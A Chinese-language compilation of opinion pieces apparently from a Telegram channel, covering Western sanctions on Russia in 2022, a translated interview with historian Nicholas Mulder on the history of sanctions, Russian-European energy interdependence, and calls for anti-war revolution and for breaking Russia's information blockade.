周日，德国总理奥拉夫·肖尔茨在德国国会大厦发表讲话，宣布将德国的国防预算一次性大幅增加1000亿欧元，此外还承诺将相当于国内生产总值2%的资金用于国防，这让议员们感到震惊。虽然此举被誉为与德国备受指责的安全政策的重大决裂，但尚不清楚肖尔茨是否会跟进这一承诺；德国曾在2006年首次承诺过2%的比例。

这很快就有了一个影响更大的措施：将俄罗斯银行完全排除在以美元为基础的全球清算和结算系统之外，该系统依赖于在纽约联邦储备银行拥有储备账户的纽约银行的代理关系。

但仍有两个不足之处。首先，这些措施中的每一项都包括对俄罗斯主要出口产品的豁免，这些产品约占俄罗斯经济的四分之一：石油和天然气。这些豁免是应那些严重依赖俄罗斯天然气取暖的欧洲国家的要求而提出的，美国尊重了这一要求。

这些措施的第二个缺点是，普京已经预见到了这些措施。事实上，自2014年俄罗斯首次入侵乌克兰以来，普京已经利用这些年积累了大量的外汇储备。更重要的是，俄罗斯的中央银行已经成功地将这些储备的一部分去美元化，将其中的一部分转为欧元、英镑和黄金。

然而，这些储备的很大一部分并不存在于俄罗斯。它们是由国外的官方机构持有的。这些机构包括德国联邦银行或瑞士国家银行等国家中央银行，或国际清算银行等组织。经过周末的一些多边争论，美国、欧盟、日本，甚至瑞士，最终采取行动，不仅冻结了俄罗斯中央银行

在国外的资产，还颁布了对与该银行交易的全面禁令。

这是一个重大升级，具有重大的经济和政治后果。直接的后果是，现在持有的6300亿美元储备中约有一半被冻结。俄罗斯的“堡垒资产负债表”不再是一个优势，因为不能再有效利用它了。

卢布的运行

「图」

为了理解经济后果，必须知道外汇储备的用途。它们的主要目的是为中央银行干预外汇市场提供资金。如果被剥夺了储备（或大量的储备），银行就不能再进行“公开市场操作”，即 积极购买自己的货币以维持其相对于其他货币的价值。

就俄罗斯而言，危机和由此产生的制裁所带来的卢布挤兑，已经产生了相对于美元的大幅下跌。这不仅意味着国家的偿债成本增加，而且还面临着更高的进口账单。卢布购买力的下降主要打击的是俄罗斯的公民，他们可以用卢布购买的国内和进口商品更少了。而为了避免进一步贬值，中央银行必须大幅提高利率。

提高利率对实际工资的影响可能是相当严重的，即使逐年加息0.5%，也一样。周一，俄罗斯央行将其主要利率从9.5%一夜之间提高到20%。这些负担是在生活水平停滞不前和相对紧缩的十年之后出现的，这是普京积累其战争资金的野心的结果。

政治后果可能被证明是同样可怕的。在最初对其中央银行的制裁之后，俄罗斯政府的反应是提高其核武库的警戒级别。据熟悉此事的人说，这不意味着核导弹现在瞄准了外国目标。但是，这仍然是核武装阵营之间危险的“加速升级”。在核时代，从未对一个世界大国实施过如此严厉的制裁是有原因的：因为这非常非常危险。

不分青红皂白

「图」

这些是与一个主要核大国进行全面金融战争的赌注。也许为了追求短期目标，这种赌注是合理的。然而，现在已经不清楚这些制裁的目的是什么。鉴于大多数寡头的资产都不是以卢布计价的，而且寡头的大部分资产都在国外，这些制裁不可能被认为是专门针对普京“支持者”的。那么冻结这些资产如何？

虽然俄罗斯出现了公众异议的初步迹象，目前已经超越一万五千名反战抗议者被捕，但亿万富翁和国有公的司董事阶层撤回对普京的支持的情况基本不太可能发生。而且，即使他们这样做，也可能完全没影响。俄罗斯似乎越来越有可能成为一个“个人主义的独裁国家”——在这种情况下，寡头们更多地依靠独裁者的支持，而不是独裁者对他们的支持。在这种状态下，独裁者很少关心其行为的后果，因此无法促使其改变行为以应对金融战争的灾难。

换句话说，有一种明显的可能性，即：“寡头”无力通过赶走普京来应对不可容忍的经济后果。也没有一个相当于罗马禁卫军的机构。所有这些都使得如此严重的金融制裁更加难以证明其正当性。

这些完全针对俄罗斯民众的制裁措施唯一合理的方式是，它们是临时性的，只是为了加强乌克兰在与俄罗斯在白俄罗斯边境正在进行的谈判中的讨价还价地位。然而，并没有明确的时间表，也没有任何标准来消除它们。

这一事件的转变尤其令人震惊，因为它发生在国际上对美国没收阿富汗中央银行资产的强烈抗议之后，美国宣布将一半（大约35亿美元）重新分配给911家庭，而后者正处于潜在的破坏性饥荒之中。这也是在围绕制裁的讨论似乎正在改变的时候发生的。

近年来的任何经验教训似乎都在一个周末的时间里被抹去了。但经验足够告诉人们，制裁从来不是战争的替代品，而是战争的手段；制裁不是为了改变行为，而是为了长期消耗和耗尽敌人及其人民；制裁并不会在短期内影响军事事件。

事实上，这些制裁很可能对阻止俄罗斯对基辅的推进并没有什么作用。由于最初制裁中的能源分割，俄罗斯经济仍然是一个创造外汇的结构。这些分割，加上政府已经命令其主要出口公司拿出80%的外汇收入（仍用于支付俄罗斯天然气和石油的美元和欧元）以换取卢布，有效地保证了俄罗斯的战争能力不会很快受到影响。但其公民的生活会受到严重影响。

有一些破坏性较小的替代建议。除了结束对能源分割的豁免外，西方盟友可以做他们在2014年入侵后就应该做的事：在财政和后勤上加强乌克兰。正如约翰·梅纳德·凯恩斯1924年在给国际联盟的信中所敦促的那样，我们应该“与对侵略者的报复相比，向受害方提供积极援助”。

这一切的主要矛盾是难以忽视的：长期以来人们对普京侵犯俄罗斯人

民人权的“关注”与现在突然将潜在的巨大代价强加给这些人民的不冷静态度，是完全矛盾的。这场战争是普京制造的，而不是人民。

2月27日：https://t.me/iyouport/9723

制裁的历史

「图」

推荐一本新书：《经济武器：作为现代战争工具的制裁的崛起》（耶鲁大学出版社）。以下是与这本书的作者尼古拉斯·穆尔德(Nicholas Mulder) 进行的交谈。

美国和欧洲对俄罗斯入侵乌克兰的反应引发了近期关于经济制裁的最广泛讨论和辩论—— 目标是谁？实施这些政策的机制是什么，制裁能否被规避？制裁的最终目标是什么，它们实现的可能性有多大？它们会不会使冲突升级？普通人将为此承担哪些成本？

在《经济武器：作为现代战争工具的制裁的崛起》中，尼古拉斯·穆尔德为这些问题提供了一个历史背景。

在第一次世界大战之后，制裁被认为是通向 “更和平的国际秩序” 的潜在途径，但这种手段也始终沉浸在争议之中。穆尔德写道，从20世纪初到第二次世界大战爆发前，“经济孤立造成的死亡是平民死亡的主要人为原因”。穆尔德对战时制裁制度的描述可以帮助一个极端不稳定和破坏的时代带来新的曙光，并可以为那些被战争与和平、暴力与人道主义、国际主义与大国主导权在当前时刻交织在一起而困扰的人提供许多思考。

以下访谈开始于乌克兰战争爆发前。

Nick Serpe：自从战争本身的起源以来，某种形式的经济战争就一直存在—— 围攻、封锁。制裁有什么独特之处吗，以及它们在战争与和平的政治中的地位是什么？

Nicholas Mulder: 对平民社会和经济施加压力的想法作为一种实践已经存在很长时间了，但它在传统上被视为战争的一部分。制裁将这种技术从战时的领域提升到和平时期。这就是为什么第一次世界大战后现代国际机构的诞生是如此重要，因为它们确实影响了这种转换。

制裁也经常与具有其他类型的政治或经济目的的经济限制交织在一起

—— 如关税和保护主义。在2008年的金融危机和COVID-19大流行之后，现在的我们正处于一个经济民族主义普遍增强的时代。关税是一个国内监管和保护自己的市场免受外国竞争的问题，但制裁是关于试图影响和剥夺其他领土。

Serpe：在这本书中，您讨论了建立一个可以设想制裁制度的世界的一些先决条件。其中有些只是经济全球化的事实；有些是关于官僚能力的。但这里也有一个知识基础：个人理性的理论，以及人民如何与政府相关的理论。您能具体说说为什么制裁会出现吗？

Mulder: 某种类似于制裁工具的想法在19世纪就已经存在了，而且有一系列关于各国如何能够提出一种可以稳定国家间关系和防止战争的国际政策的讨论。对永久和平的渴望可以一直追溯到启蒙运动时期。但在19世纪，手头并没有一个真正好的解决方案，在现实中，权力平衡政治总是演变成试图用战争本身来阻止战争。

在第一次世界大战中，有几件不同的事件汇集在一起，使制裁成为可能。

一个是1870年至1914年的第一个全球化大时代 —— 自由放任的自由主义和黄金标准的全盛时期 —— 它提供了物质条件，使一种新的决策形式成为可能。再加上第一次世界大战期间行政国家的扩张及其干预和控制，以及与此同时，随着1910年代普选权的扩大，大众民主的出现。

这些都是制裁所需要素：能够利用全球化来影响其他国家，从而使他们的大众政治能够让你避免战争。所有这些东西—— 全球化、行政国家和大众社会—— 仍然存在，或多或少，这就是为什么我们仍然处在一个制裁无处不在的世界中。

Serpe：最近有一波关于国联和战时自由主义国际主义的学术研究，与普遍认为国联是完全失败的观点相左。我们该如何理解这段时期，制裁的历史改变了什么？

Mulder: 在过去的15年里，历史学家、国际律师和其他对国际关系感兴趣的人让我们对战时的国际联盟有了更好的把握，认为它是现代全球治理诞生的时刻。有所有这些技术机构，从国际劳工组织到涵盖公共卫生、人口贩运、毒品控制和经济政策的组织—— 国际货币基金组织（IMF）和世界银行的前身。这是一个非常丰富的文献。然而，它没有走得那么远的一个领域是，它默默地接受了国际联盟作为一个安全机构完全失败的旧的裁决。当然，第二次世界大战是不可否认的

证据，证明有些东西出了非常严重的问题。但是，人们隐约将国联的失败与自由主义国际主义的弱点相提并论，而这是我们必须要审视的一个环节。

当你看到20世纪20年代和30年代的危机时，你会发现，国际主义者不是在与制裁的弱点作斗争，而是在与制裁的不可思议的力量作斗争。他们发现，在第一次世界大战期间的封锁之后，很难使用这些经济压力的工具，特别是针对较大的国家，而不挑起战争，以避免使治疗的效果比疾病本身更糟糕。

这场辩论发生在1931年的满洲危机前后—— 对东亚人来说，这一刻标志着第二次世界大战的开始。1935年法西斯意大利入侵埃塞俄比亚时，它又出现了，然后随着欧洲逐渐陷入另一场世界战争。国际联盟面临着真正的政治困难和校准问题，因为它试图使用一种经济胁迫的工具，而这种工具在第一次世界大战中已经被证明能够产生真正的严重影响。

Serpe：当今天美国的左翼人士批评制裁时，他们想到的一句话仍然是：1990年代，Madeleine Albright 被问及大约50万伊拉克儿童因美国制裁而死亡的事实时说："我们认为这个代价是值得的"。

这表明，从制裁的起源开始，人道主义批评就已经存在。你能谈谈当时的一些论点吗—— 以及它们如何遵循或不遵循典型的政治路线？

Mulder: 停战协议已经签署，结束了第一次世界大战，但协约国仍然保持着封锁。始于战争的经济压力一直延续到和平时期。它不仅适用于魏玛德国，也适用于俄国革命后苏联在俄罗斯和匈牙利的统治。这在西方国家引起了大规模的公众抗议，由不同团体组成的广泛联盟：女权主义者和女性组织；来自古老的自由贸易、激进自由主义传统的团体，他们希望将私人经济与国家间的战争分开；当然，还有左翼和共产主义者，他们对发生在俄罗斯和中欧的政治实验表示同情。

那个时刻显示了这种做法在出现时有多么深刻的争议，我认为这加强了 "这是一个重大转变" 的想法。通过观察它在整个政治光谱中所激起的抵抗，你可以看到战争与和平的意义发生了多大的转变。

在这一时期，激进主义的最初失败后幸存下来的批评路线之一——第一次红色恐慌的后果，20世纪20年代初的反革命镇压，俄国革命未能在其他地方传播 —— 是反共人士采取的批评路线。一些自由派和保守派的西方领导人认为，通过增加贫困，封锁实际上助长了他们本想要扼杀的激进行为。在他们看来，引导这些经济体进入资本主义的

富足来驯服所谓的 “非理性” 的革命激情，要好得多。赫伯特·胡佛是这一立场的主要代表之一，此外还有温斯顿·丘吉尔和大卫·劳合·乔治。

人道主义批判在整个战时时期也一直存在。红十字国际委员会和很多中立国家都强调这一点。这种批判有基督教的倾向，有女权主义的倾向，也有出于想要使战争人性化的反抗运动的法律主义倾向（Samuel Moyn 在他最新的书《Humane》中写到了这点）。所有这些人都对经济战争提出了不同的批评。许多批评者被认定为自由派，但他们代表了一种更古老的自由主义，认为自由主义的意义在于保护平民。

但制裁最终也促使很多自由主义国际主义者接受了以平民为目标的全面战争技术；在战时，作为一个 “制裁主义者” 往往是持有公开的反人道主义立场。这整个战间过程中使自由主义在一个更积极但也更无情的现代版本和一个更古典、更法律的人道主义版本之间分裂。这也是这个工具在战时的实施过程中如此充满矛盾的部分原因，因为自由派自己都没有就其重要性达成一致。而且，它对某些在19世纪至关重要的自由主义思想 —— 保护私有财产、平民自治、公民社会 —— 感到不安。所有这一切都一下子受到了威胁。

Serpe：因此，除了对制裁的预期效果的批评，还有这些关于非预期效果的争论。也许你的分析中最突破性的部分是关于制裁和土地征服以及1930年代的领土扩张之间的动态。

Mulder: 关于战时时期，我觉得最有趣的事情之一是，那个世界看起来多么像我们今天的世界，有着全球化和一个不稳定的国家间体系。但这也是一个意识形态的时代，也是一个大众动员的时代。制裁确实有助于此。当整个社会成为潜在的压力对象时，在一个大众政治的时代，特别是在第一次世界大战之后，他们会以意想不到的方式做出反应。

仅仅是制裁的威胁有时确实有稳定局势的作用，比如在20世纪20年代巴尔干半岛的小规模战争中。但是，对于那些已经拥有基于大众政治的强大民族主义运动的政府来说，制裁反而可以作为一种加强政权的手段。

在整个20世纪20年代，甚至在30年代，西方有很多人认为他们可以通过制裁来遏制苏联，但这不太可能成功的，你实际上是给他们提供了一套更好的更封闭的环境，在其中追求“社会主义”，斯大林主义的内向强化。

在1930年代，日本、德国和意大利也出现了类似的情况。这就是为什么把制裁作为一个历史过程来研究是非常重要的：它们不只是关于痛苦和收益，不只是关于外交政策论述中使用的这种功利性的、游戏理论的语言。至关重要的是，要更全面地看待制裁，不仅要用社会科学的工具，还要用人文科学和文化以及意识形态和思想研究的工具，因为制裁有长期的影响，而且会极大地塑造人们的观点。

制裁并不是在一个无摩擦的决策空间中运作的，在那里你可以以正确的方式增加痛苦，然后希望正确的反应会随之而来；现实中并非如此，它们被部署在一个国家已经有各种不确定性和对立的世界中 ——正是由于这个原因，战时是一个特别不理想的时期。

在这本书结束时，我很同情为什么人们准备使用任何可能避免重复第一次世界大战的工具；他们已经经历了一场绝对可怕的战争。但与此同时，令我震惊的是，他们对意识形态和民族主义在战争期间表现出来的动员人民的强大力量视而不见，并且天真地认为仅仅一些商业压力就可以说服暴政。从这个意义上说，战时的制裁主义确实是一种引人注目的、不谙世事的反应。实际上，人们还没有考虑到第一次世界大战所释放的真正的愤怒。

Serpe: 为了应对制裁或制裁的威胁，日本、德国和其他国家开始采取自主战略。

Mulder: 制裁并不是导致这一举措的唯一原因。前面的两个结构性事件是第一次世界大战中的经济战争记忆，然后是大萧条的冲击。而由于各国政府以紧缩政策应对大萧条而急剧恶化。他们不仅拥护保护主义，而且在很长一段时间内试图平衡预算；他们花了很多很多年才领会到凯恩斯主义的教训，凯恩斯主义在第二次世界大战后成为霸权主义。

但也有一个持续的制裁威胁。当时使用的语言是关于达摩克利斯之剑 —— 它对人们来说具有非常强大的现实意义，即使在物质实施层面上，它也很难快速有效地实现。我们已经知道了关于经济民族主义和自给自足如何助长了第二次世界大战的故事。我在书中试图做的是通过制裁的棱镜来回溯那片熟悉的土地。一旦你修改了“国际联盟失败是因为它软弱、而制裁是纸老虎”的假设，你就可以重新考虑当时人们所说的，他们所警告的，不仅是法西斯国家和军国主义国家，还有使用制裁的自由主义国家。当代的观察家们已经开始警告他们自己的政府。

我不想说制裁对第二次世界大战负有全部或大部分责任；非全球化和

国际秩序崩溃的过程有许多代理人，非常复杂。但是，一旦你开始质疑 E.H.Carr 1939年在《二十年危机》（国际关系现实主义的基础文本）中建立的叙述—— 即 联盟因为软弱而失败—— 你就会开始看到它在校准制裁方面的努力是导致全球战争升级的一个严重的独立因素。

Serpe：在这本书中，你对消极的经济武器—— 制裁，和积极的经济武器进行了区分。那么后者是什么样子的？

Mulder: 在第一次世界大战中，使制裁成为可思考和可想象的因素的组合，也产生了一种新的洲际物流联盟的形式。像凯恩斯和让·莫内这样的人，他们分别提出了财政扩张作为一种经济哲学和欧洲联盟的想法，他们是思考这个问题的积极方面的另一部分。

1927年至1930年期间，国际联盟曾认真尝试为侵略的受害者建立一个永久性的融资机制。如果他们想建立的组织—— 基本上是一种安全的国际货币基金组织—— 它将允许，例如，国际联盟在中国对抗日本时向其贷款，或在西班牙内战期间向西班牙共和国贷款。这将如何改变第二次世界大战前的各种关键事件？这是整个时期出现的另一种可能性。1935年，有对意大利的制裁，但埃塞俄比亚人自己最呼吁的是对其国防的财政援助。1941 年创建的租借法案实际上是美国很晚才实施的积极的经济武器。

第二次世界大战后，世界从大萧条时代的紧缩状态转向了有利于增长的凯恩斯主义的生产力政治。战时的教训得到了更多的重视。战后对战时的批评者非常清楚制裁的失败，我认为在**2008**年之后和**COVID-19**之后的今天，这是值得恢复的批评。

Serpe：我想问一下当代的制裁情况。在某些方面，制裁的目标已经改变—— 现在更强调人权和民主，而不是国家间的侵略。虽然仍有国际协调，但美国政府现在是推动制裁的主导力量。甚至执行机制也发生了变化。你认为早期的制裁时代在哪些方面有延续性，哪些方面发生了变化？

Mulder: 今天，美国主持着一个自成一体的霸权结构，这在世界历史上是没有先例的。不过，有趣的是，在冷战时期的大部分时间里，美国只对小国使用制裁，作为一种遏制手段，在权力严重失衡的情况下使用。美国在对苏联和中国使用经济压力方面是相当温和的，只真正使用过战略性出口控制，当它试图超越这一点时，你就会遇到冷战中一些关键的大西洋间危机。

在20世纪80年代初，里根对苏联和欧洲之间的管道实施制裁时，出现了大规模的危机—— 这是北溪2号项目的直接前奏。但一般来说，在存在巨大权力差异的情况下，特别是在古巴和朝鲜，制裁被用作一种帝国主义政治手段。

当然，这在冷战结束后已经发生了变化。制裁的使用出现了爆炸性增长，因为没有大国对手可以作为障碍了。当然，这与1970年代和布雷顿森林体系之后的金融全球化、沃尔克冲击—— 跨大西洋、以美元为基础的全球金融秩序的扩张相吻合。这再次表明，你需要考虑经济的历史基础。今天的制裁环境不是美国政府有意创造的；它是美国政府在1970年代和1980年代卡特和里根领导下的稳定战略的一个副作用。但直到小布什和奥巴马，我们今天所熟悉的金融制裁才开始发展。

Serpe：你在书中记录了一些制裁成功的时刻，但书中的大量证据表明，你认为制裁是一项失败的政策—— 就人的代价而言，就其既定目标而言，以及就意外的代价而言。但在今天的美国，就像许多外交政策问题一样，人们对使用这些政策的合法性有相当大的共识，而在决定何时实施这些政策时，似乎没有太多的思考或辩论。也许这有点言过其实；我看到代表美国化石燃料利益的团体对可能对俄罗斯实施的制裁表示了一些担忧。但肯定没有一百多年前的那种广泛的公共讨论。你认为制裁为什么一直存在？你是否看到有什么地方你认为事情正在发生变化，或者人们正在采取不同的方法？

Mulder: 我认为，它们的吸引力部分源于美国处于一个独特的位置。从历史上看，在发达经济体中，在大国中，它不是非常依赖贸易。在美国，除了军事工业综合体、石油和天然气工业之外，没有多少行业是靠大量出口东西来谋生的。也许是大农业。今天美国贸易平衡的主要部分是石油、天然气和谷物。我们有点像回到了1890年代。

Serpe: 那是在出口方面，对吗？

Mulder: 进口是相对多样化的。但即使你把出口和进口加在一起，也只占美国GDP的25%左右。在我的家乡荷兰，贸易总额达到GDP的150%。几乎所有亚洲、欧洲和拉丁美洲的经济都更依赖贸易。美国有一种几乎所有人都在使用的货币，但与其他经济体相比，美国受到的直接贸易冲击相当小。俄罗斯现在与欧洲的对峙，确实是一个戏剧性的例子。美国政府对俄罗斯实施制裁要容易得多。它们不会以任何有意义的方式反弹到美国身上，除了可能通过世界石油和天然气价格上涨，可能会有一些中期成本。

但要记住的另一件事是，关注其他国家发生的事是很重要的。制裁是干预主义的一种形式，它缺乏军事干预的公开残酷性以及与之相关的成本和问题。它们允许自由派民主党人甚至是左翼政客参与到战争之外的国际冲突中，而且也仍然有那种梦想和对更糟糕的事情的恐惧留在背景中。

在研究这本书的过程中，我发现最有趣的一个人物是英国国际主义者威廉·阿诺德·福斯特。在第一次世界大战期间，他在海军部工作，负责管理封锁。他对此深感不安，并公开忏悔，他曾为这种有组织的大规模饥饿政策工作。他成为国际联盟的狂热支持者，并加入了工党。他代表了这个相当重要的国际主义工党政治家群体，他们希望努力建立一个能够对每个人实施平等纪律的国际组织—— 一个全球正义的想法。由于对战争是多么可怕的记忆，他们希望仅仅威胁制裁就足够了—— 你可以用威胁来防止战争的发生。他们认为这几乎是康德式的平等和道德上对称的正义的愿景。

在对国际政治的思考中，左翼采取了其中的一些想法，这是非常可以理解的。我不认为这些冲动是错误的。但是，我们同时也应该看看制裁的物质和经验现实，以及试图认真对待意外后果的左翼现实主义传统—— 意图和结果之间的差距。俄罗斯银行 via Flickr

俄罗斯和西方

「图」

2月24日，当数以万计的俄罗斯军队推进到乌克兰时，另一种东西正在流入他们脚下的国家。这个东西就是俄罗斯的天然气，它通过乌克兰的管道流向德国、奥地利和意大利等国家。弗拉基米尔·普京入侵的第一天，导致俄罗斯与西方之间的外交关系彻底破裂，但也标志着从前者流向后者的天然气量增加。

在表面的地缘政治秩序下，各国总理和外交官在联合国的会场上互相指责，在地下则有一个秩序，一个建立在两种商品—— 石油和天然气—— 的购买和销售上的全球经济相互依存系统。

在入侵战争之前，这个地下系统运作得挺好。例如，俄罗斯和德国可能有相反的政治目标，双方可能都将对方的影响视为生存威胁，但他们都从能源交易中受益。除了参与交易的产品只是在促使地球越来越不适合人类居住外，一切都 “很好”。

事实证明，这个系统运作得太好了：俄罗斯和西方之间的经济联系已

经变得如此紧密，以至于欧洲不能冒险切断它们，至少不能一下子切断。随着国际社会对俄罗斯侵略的反应升级，通过制裁几个主要的金融机构，欧洲和美国都避免了对能源部门的直接攻击。

俄罗斯提供了欧洲约40%的天然气和25%以上的原油，而世界其他地区的备用产能远远不足以填补这一空缺。不仅如此，很难想象俄罗斯将如何为它现在输送到欧洲的天然气和石油找到新的买家。《克里姆林宫的毒针》

人们可能会想象，这种相互依存关系会减少两派之间武装冲突的动机？但事实上，它并未能做到这一点，实际上，它反而可能激励了俄罗斯一方的冲突—— 这就是乌克兰气候科学家斯维特拉娜-克拉科夫斯卡（Svitlana Krakovska）的意思，据报道，她在联合国最近的一次会议上说，“人类引起的气候变化和对乌克兰的战争有相同的根源：化石燃料”。这种相互依存关系唯一可以保证的结果是，冲突的代价对双方来说都会比其他情况下更高。

- 更多见《外表是骗人的》

我们现在正目睹着一个突然的地震式的转变。俄罗斯袭击乌克兰的愤怒远远超过了依靠俄罗斯获得能源的经济便利，西方现在正争先恐后地与俄罗斯的石油和天然气脱钩，即使它避开了直接针对该部门的攻击。

就在德国做出一度难以想象的决定，停止对其与俄罗斯之间的北溪2号管道的认证，以回应普京在入侵前的侵略行为—— 包括承认乌克兰的两个分离主义地区—— 仅仅一周之后，随着危机的加深，从英国石油公司到壳牌公司到埃克森美孚公司到英国公用事业公司Centrica，一系列公共和私人实体纷纷跟进。虽然拜登政府重申，他们在制裁俄罗斯石油方面“没有战略利益”，但俄罗斯一家主要石油生产商已经连续三天没有授予新的原油合同，这表明各方无论如何都对购买俄罗斯石油望而却步。

这种突然的决裂使欧洲大陆处于一个十字路口。如果像德国这样的国家想停止使用俄罗斯的石油和天然气，他们首先必须决定如何取代这部分能源。国际能源署的31个成员国已承诺利用其战略石油储备来“填补短期缺口”。但问题是，长期的替代品将是新的肮脏能源还是新的清洁能源？

早期的信号是混合的。德国已经起草了在未来几年内建造两个新的液化天然气进口终端的计划，使其能够减少对俄罗斯管道的依赖，而且

德国还宣布了储存战略天然气储备的计划。在美国，人们希望俄罗斯驱动的石油冲击的威胁可以重振总统乔·拜登停滞不前的气候立法，但保守派和中间派的政客已经建议加强压裂或恢复 Keystone XL管道，拜登在民间多年的抗议后于去年1月阻止了该管道。因为这两种选择都不会为供应缺口提供短期解决方案，从理论上讲，现在是对可再生能源进行大举投资的最佳时机。现在还不清楚是否会这样：危机也许会扩大可能性的窗口，但它们也经常导致领导人优先考虑政治和经济的权宜之计。继续做你一直在做的事总是更容易。

无论欧洲和美国朝哪个方向发展，都会有人从中获利—— 例如，主要的商品交易机构，它们因俄罗斯生产的石油和金属等商品的价格不稳定而获利。即便如此，这次通过狭隘的 “好处” 来解释对乌克兰的入侵将是一个严重错误。

这不是伊拉克战争，那场冲突部分是为了给西方石油巨头撬开伊拉克的石油储备。包括壳牌和英国石油公司在内的一些主要化石燃料生产商已经退出了他们在俄罗斯主要石油和天然气公司 Rosneft 和 Gazprom 的股份。在入侵前的几年里，这些公司从上述那个 “地下秩序” 中受益。壳牌公司与俄罗斯天然气工业股份公司合作开展了一个大规模的开采项目，英国石油公司持有俄罗斯石油公司20%的股份。这些都是以盈利为目的的公司，他们退出俄罗斯能源公司是为了减轻财务损失，而财务损失会给他们的公共形象带来墨黑的污点。但是，除了对他们来说是一个巨大的底线打击之外，没有办法把这场冲突解释成任何其他东西。

由于压裂技术的蓬勃发展，美国现在是世界上最大的天然气生产国，而且通过将天然气冷凝成液体形式并装入油轮，向欧洲和亚洲出口大量的天然气。即便如此，也不能说与俄罗斯的“分手”会导致美国国内的天然气压裂商立即大赚一笔。首先，美国的出口能力有限，而且已经逼近了该能力的上限。扩大出口以满足欧洲的需求需要数年时间，届时天然气价格可能会来回波动数次。液态天然气需求的增加可以让美国的压裂商和出口商在短期内提高价格，但长期的价格上涨会使重要的亚洲市场的需求受到破坏。没有两全其美。

这场新的冲突真正强调的是，全球化石燃料市场是混乱的。开采可能是一个依赖地点的过程，这意味着它造成了不同地方之间的不平等，但没有任何一个国家或实体对任何其他国家有最终的影响力。美国每天进口数百万桶石油，其中许多来自俄罗斯，但美国每年也出口数百万桶石油。因为现代石油化工设施需要特定种类的石油，美国国内巨大的页岩储备中的石油不足以满足国内炼油厂和工厂的需要。

俄罗斯进口的石油很少，但它的经济取决于石油的出口：它需要买家。整个世界都依赖一种只来自少数地方的资源，这一事实造成了一种普遍的不稳定，一套激励机制既鼓励了冲突，又使参与冲突的各方付出了更大的代价。在一个依靠石油的世界里，“石油国家” 是一个程度问题，而不是种类问题。

没有理由相信，一个依靠可再生能源运行的世界会没有武装冲突，也没有理由相信这样一个世界会免受能源破坏的影响。如果一枚导弹炮弹可以炸毁输油管道或炼油厂，它也可以炸毁太阳能农场或风力发电站。但是，太阳能和风能的地理通用性将大大降低能源丰富的国家在世界舞台上不受惩罚的程度—— 沙特支持的也门代理战争就是一个例子，这场战争很快将进入第八个年头。

当然，即使它确实确保了能源能力的公平分配，超越化石燃料的行动也不会确保财富的公平分配。俄罗斯有超过1.4亿人，能源提供了全国约五分之一的国内生产总值。委内瑞拉和沙特的情况更为严重，这两个国家的人口分别为3000万左右，石油租金分别占国内生产总值的25%和50%。肢解化石燃料综合体可能是实现全球正义的一个步骤，也许是在长期内最大程度地减少痛苦的一个步骤。但这并不是唯一的步骤。

上周早些时候，在关于乌克兰平民伤亡和大范围破坏的报道中，又出现了另一个关于地球规模破坏的警告。联合国关于气候变化的一份新报告发现，气候变化的影响已经在各大洲产生了重大破坏。联合国秘书长称该报告是 “人类痛苦的地图集”，并说它表明化石燃料系统已使世界处于 “挟持而行的毁灭之路”。

此刻具有讽刺意味的是，虽然俄罗斯和西方是毁灭之路队伍中的一员，但它们却远远没有走在队伍的前列。联合国报告认为，东南亚和撒哈拉以南非洲等脆弱地区将看到日益严重的气候灾害带来的最严重的损害，所有这些都是发达国家帮助建立和维持的化石燃料经济的结果。因此，两派在石油和天然气方面的相互纠缠将产生远远超出欧洲大陆的后果：在这场所谓的 “文明冲突” 中，最大的受害者可能是被卷入交火中的数十亿人 ……

那么，我们还可以怎么办？

本系列内容的全部主题就是这个问题的答案 —— 革命。

革命，只有革命

「图」

在过去，由世界各地的公民组成的武装抵抗团体支持了各种反独裁的斗争。其中一个比较著名的例子是1936–39年在西班牙的国际旅。

事实上，现在有报道称，乌克兰正在建立一个“国际”军团，让外国志愿者加入乌克兰军队。泽连斯基说：“每个想加入乌克兰保卫国家的乌克兰朋友都请过来，我们会给你们武器。”

这似乎很容易让人们联想到西班牙国际旅。但请记住，这可能不同。

尽管乌克兰的国际军团将如何运行的细节并不清楚。也不知道当地民主组织的民兵会不会与这一举措相配合。但不得不意识到，这一呼吁很容易吸引全球各个角落的极右翼。这并不夸张，因为亚速营等极端民族主义分子已经融入了乌克兰的军事结构。

事实上，理论上还应该有更好的结果，那就是，俄罗斯反抗者部署纯粹的人民力量，要求结束腐败和专制的普京领导的政权。但这需要抗议者不是成千上万地走上街头，而是数以百万计地走上街头—— 而且是在俄罗斯的每个城市和城镇。简而言之，一场真正的革命 —— 人民的革命，为人民的未来。https://t.me/iyouport/10210

2月24日。https://t.me/iyouport/9470

外界可能不知道，但普京应该非常清楚，乌克兰具有反抗极权主义的光荣历史。乌克兰革命起义军（**RIAU**）由一支**10**万人的军队组成，由无政府主义起义者内斯托尔·马赫诺**(Нестор Іванович Махно)**领导。在共产主义革命之后，RIAU对布尔什维克进行了一场战役。为了捍卫自由意志公社和“自由苏维埃”，它的长期目标是形成一个无国家、无政府的互助自治社会。可惜这一目标从未实现。

至于目前的冲突，普京对乌克兰的入侵最终可能被证明是他最大的错误。尤其是，俄罗斯人民可能挖掘出真正革命的希望。

真正的革命。这是最好的结果，可能也是最难的结果。https://t.me/iyouport/10009

轰炸后的伊尔平伊尔平，一片废墟

一个泛欧动员，您也可以参与

「图」

普京的战争是为了政治精英的利益而进行的，而不是为了俄罗斯民族的利益。但信息泡沫阻碍了俄罗斯公众的发言。这就是俄罗斯以外的人值得进入的地方。

来自俄罗斯公民社会的呼吁：

弗拉基米尔·普京指挥的俄罗斯军队正在对独立的乌克兰发动一场残酷的战争。乌克兰军队的抵抗是勇敢而强大的。全世界对乌克兰事业的支持是空前的。

但是，还有一件事要做 ——

跳过普京。与俄罗斯人交谈。

> 一些俄罗斯人对抗议这场恶意的战争仍然犹豫不决。许多人害怕遭到镇压。许多人生活在一个信息泡沫中，相信那些有毒的国家宣传。

#SkipPutinTalkToRussians 在推特搜索这个标签。

传播这个消息。

敦促其他人。

现在就开始。

俄罗斯女权主义反战运动发起行动动员：「不仅仅是集会和示威：要打破信息封锁」

「图」

以下是动员令和行动倡导。其中包含的灵感对中国朋友来说也相当有用。关于：在您看起来“什么都做不了”的情况下，您能做些什么。

抵抗的主要目的之一是打破俄罗斯的信息封锁。

俄罗斯几乎所有的独立媒体和社交网络都被封锁或关闭，宣传者和国家机构传播着大量谎言和虚假信息。在这种情况下，传播有关俄罗斯军队在乌克兰的战争罪行、平民伤亡和被摧毁的城市的真实信息，成为一个原则问题。这些信息可以从根本上改变俄罗斯公民对入侵战争和发动战争的政府的看法—— 这就是为什么政府如此害怕这些信息。

